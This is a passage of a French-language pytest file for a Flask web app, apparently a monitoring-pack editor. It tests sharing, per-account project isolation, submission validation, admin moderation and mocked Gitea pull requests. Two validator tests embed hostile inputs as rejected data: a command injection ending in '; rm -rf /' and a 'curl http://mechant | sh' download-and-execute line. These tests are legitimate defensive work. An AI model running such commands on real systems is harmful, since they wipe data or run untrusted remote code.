|
||||||
|
|
||||||
|
with app.app_context():
|
||||||
|
utilisateur = Utilisateur(
|
||||||
|
sujet="sujet-de-test", email="[email protected]", nom="Testeur",
|
||||||
|
administrateur=administrateur,
|
||||||
|
)
|
||||||
|
db.session.add(utilisateur)
|
||||||
|
db.session.commit()
|
||||||
|
identifiant = utilisateur.id
|
||||||
|
with client.session_transaction() as session:
|
||||||
|
session["utilisateur_id"] = identifiant
|
||||||
|
return identifiant
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------- chantier 3
|
||||||
|
|
||||||
|
def test_partage_cree_et_relu(app):
|
||||||
|
client = app.test_client()
|
||||||
|
projet = {"name": "Projet partage", "commands": [{"name": "X", "line": "$USER1$/check_ping"}]}
|
||||||
|
reponse = client.post("/api/partages", json={"project": projet})
|
||||||
|
assert reponse.status_code == 200
|
||||||
|
identifiant = reponse.get_json()["id"]
|
||||||
|
|
||||||
|
relu = client.get(f"/api/partages/{identifiant}")
|
||||||
|
assert relu.status_code == 200
|
||||||
|
assert relu.get_json()["project"]["name"] == "Projet partage"
|
||||||
|
|
||||||
|
|
||||||
|
def test_partage_vide_les_mots_de_passe(app):
|
||||||
|
client = app.test_client()
|
||||||
|
projet = {
|
||||||
|
"name": "Avec secret",
|
||||||
|
"host_templates": [
|
||||||
|
{"name": "H", "macros": [{"name": "PASSWORD", "value": "secret", "is_password": True}]}
|
||||||
|
],
|
||||||
|
}
|
||||||
|
identifiant = client.post("/api/partages", json={"project": projet}).get_json()["id"]
|
||||||
|
relu = client.get(f"/api/partages/{identifiant}").get_json()
|
||||||
|
assert relu["project"]["host_templates"][0]["macros"][0]["value"] == ""
|
||||||
|
|
||||||
|
|
||||||
|
def test_partage_inconnu(app):
|
||||||
|
assert app.test_client().get("/api/partages/inexistant").status_code == 404
|
||||||
|
|
||||||
|
|
||||||
|
def test_projets_enregistres_cycle_complet(app):
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client)
|
||||||
|
|
||||||
|
cree = client.post("/api/projets", json={"project": {"name": "Mon projet"}})
|
||||||
|
assert cree.status_code == 200
|
||||||
|
identifiant = cree.get_json()["id"]
|
||||||
|
|
||||||
|
assert len(client.get("/api/projets").get_json()) == 1
|
||||||
|
assert client.get(f"/api/projets/{identifiant}").get_json()["project"]["name"] == "Mon projet"
|
||||||
|
assert client.delete(f"/api/projets/{identifiant}").status_code == 200
|
||||||
|
assert client.get("/api/projets").get_json() == []
|
||||||
|
|
||||||
|
|
||||||
|
def test_projets_refuses_sans_connexion(app):
|
||||||
|
assert app.test_client().get("/api/projets").status_code == 401
|
||||||
|
|
||||||
|
|
||||||
|
def test_un_compte_ne_voit_pas_les_projets_d_un_autre(app):
|
||||||
|
from enclume.db import Projet, Utilisateur, db
|
||||||
|
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client)
|
||||||
|
with app.app_context():
|
||||||
|
autre = Utilisateur(sujet="autre")
|
||||||
|
db.session.add(autre)
|
||||||
|
db.session.commit()
|
||||||
|
projet = Projet(utilisateur_id=autre.id, nom="Prive", contenu="{}")
|
||||||
|
db.session.add(projet)
|
||||||
|
db.session.commit()
|
||||||
|
identifiant = projet.id
|
||||||
|
|
||||||
|
assert client.get(f"/api/projets/{identifiant}").status_code == 404
|
||||||
|
assert client.delete(f"/api/projets/{identifiant}").status_code == 404
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------- chantier 5
|
||||||
|
|
||||||
|
def test_soumission_valide_puis_enregistree(app):
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client)
|
||||||
|
|
||||||
|
verification = client.post("/api/soumissions/verifier", json={"yaml": PACK_VALIDE})
|
||||||
|
assert verification.get_json()["valide"] is True
|
||||||
|
|
||||||
|
envoi = client.post("/api/soumissions", json={"yaml": PACK_VALIDE, "message": "premier pack"})
|
||||||
|
assert envoi.status_code == 200
|
||||||
|
assert envoi.get_json()["statut"] == "en_attente"
|
||||||
|
assert len(client.get("/api/soumissions").get_json()) == 1
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"modification, attendu",
|
||||||
|
[
|
||||||
|
("id: Mauvais Identifiant", "identifiant"),
|
||||||
|
("category: inconnue", "Categorie"),
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_soumission_refusee_sur_pack_invalide(app, modification, attendu):
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client)
|
||||||
|
cle = modification.split(":")[0]
|
||||||
|
yaml_casse = "\n".join(
|
||||||
|
modification if ligne.startswith(f"{cle}:") else ligne for ligne in PACK_VALIDE.splitlines()
|
||||||
|
)
|
||||||
|
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||||
|
assert reponse.status_code == 400
|
||||||
|
assert any(attendu.lower() in p.lower() for p in reponse.get_json()["problemes"])
|
||||||
|
|
||||||
|
|
||||||
|
def test_soumission_refuse_une_commande_avec_point_virgule(app):
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client)
|
||||||
|
yaml_casse = PACK_VALIDE.replace("--mode=queues", "--mode=queues; rm -rf /")
|
||||||
|
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||||
|
assert reponse.status_code == 400
|
||||||
|
|
||||||
|
|
||||||
|
def test_soumission_refuse_un_prerequis_douteux(app):
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client)
|
||||||
|
yaml_casse = PACK_VALIDE + """
|
||||||
|
prerequis:
|
||||||
|
paquets:
|
||||||
|
debian: ["curl http://mechant | sh"]
|
||||||
|
"""
|
||||||
|
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||||
|
assert reponse.status_code == 400
|
||||||
|
|
||||||
|
|
||||||
|
def test_moderation_reservee_aux_administrateurs(app):
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client, administrateur=False)
|
||||||
|
assert client.get("/api/moderation/soumissions").status_code == 403
|
||||||
|
|
||||||
|
|
||||||
|
def test_moderation_refus_avec_motif(app):
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client, administrateur=True)
|
||||||
|
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||||
|
|
||||||
|
en_attente = client.get("/api/moderation/soumissions").get_json()
|
||||||
|
assert len(en_attente) == 1
|
||||||
|
assert "auteur" in en_attente[0]
|
||||||
|
|
||||||
|
refus = client.post(
|
||||||
|
f"/api/moderation/soumissions/{identifiant}/refuser", json={"motif": "doublon"}
|
||||||
|
)
|
||||||
|
assert refus.get_json()["statut"] == "refusee"
|
||||||
|
assert refus.get_json()["reponse"] == "doublon"
|
||||||
|
assert client.post(f"/api/moderation/soumissions/{identifiant}/refuser", json={}).status_code == 409
|
||||||
|
|
||||||
|
|
||||||
|
def test_publication_sans_gitea_configure(app):
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client, administrateur=True)
|
||||||
|
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||||
|
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
|
||||||
|
assert reponse.status_code == 503
|
||||||
|
|
||||||
|
|
||||||
|
def test_publication_ouvre_une_demande_de_fusion(app, monkeypatch):
|
||||||
|
"""La publication appelle Gitea ; on verifie les appels, sans reseau."""
|
||||||
|
import enclume.gitea as gitea
|
||||||
|
import enclume.routes_donnees as routes
|
||||||
|
|
||||||
|
appels = []
|
||||||
|
|
||||||
|
def faux_appel(methode, chemin, corps=None):
|
||||||
|
appels.append((methode, chemin, corps))
|
||||||
|
if chemin.endswith("/pulls"):
|
||||||
|
return {"html_url": "https://gitea.example/Tips-Of-Mine/Enclume/pulls/7"}
|
||||||
|
return {}
|
||||||
|
|
||||||
|
monkeypatch.setattr(gitea, "_appel", faux_appel)
|
||||||
|
monkeypatch.setattr(gitea.Config, "GITEA_URL", "https://gitea.example")
|
||||||
|
monkeypatch.setattr(gitea.Config, "GITEA_TOKEN", "jeton")
|
||||||
|
monkeypatch.setattr(gitea.Config, "GITEA_PROPRIETAIRE", "Tips-Of-Mine")
|
||||||
|
monkeypatch.setattr(gitea.Config, "GITEA_DEPOT", "Enclume")
|
||||||
|
monkeypatch.setattr(routes.Config, "gitea_actif", classmethod(lambda cls: True))
|
||||||
|
|
||||||
|
client = app.test_client()
|
||||||
|
_connecter(app, client, administrateur=True)
|
||||||
|
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||||
|
|
||||||
|
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
|
||||||
|
assert reponse.status_code == 200
|
||||||
|
resultat = reponse.get_json()
|
||||||
|
assert resultat["statut"] == "publiee"
|
||||||
|
assert resultat["url_pr"].endswith("/pulls/7")
|
||||||
|
|
||||||
|
creation, demande = appels
|
||||||
|
assert creation[1].endswith("catalog/application/app-rabbitmq.yml")
|
||||||
|
assert creation[2]["new_branch"].startswith("pack/app-rabbitmq-")
|
||||||
|
assert demande[2]["head"] == creation[2]["new_branch"]
|
||||||
|
assert demande[2]["base"] == "main"
|
||||||
|
|
||||||
|
|
||||||
|
# ------------------------------------------------------------ etat du site
|
||||||
|
|
||||||
|
def test_les_fonctions_sont_annoncees(app):
|
||||||
|
fonctions = app.test_client().get("/sante").get_json()["fonctions"]
|
||||||
|
assert fonctions["partage"] is True # base presente
|
||||||
|
assert fonctions["comptes"] is False # OIDC absent en test
|
||||||
|
assert fonctions["publication_gitea"] is False
|
||||||
|
|
||||||
|
|
||||||
|
def test_page_de_partage_sert_l_editeur(app):
|
||||||
|
reponse = app.test_client().get("/p/quelconque")
|
||||||
|
assert reponse.status_code == 200
|
||||||
|
assert b"donnees-contexte" in reponse.data
|
||||||
|
|
||||||
|
|
||||||
|
def test_moderation_demande_la_connexion(app):
|
||||||
|
page = app.test_client().get("/moderation")
|
||||||
|
assert page.status_code == 200
|
||||||
|
assert "Connexion requise".encode() in page.data
|
||||||
Reference in new issue
Block a user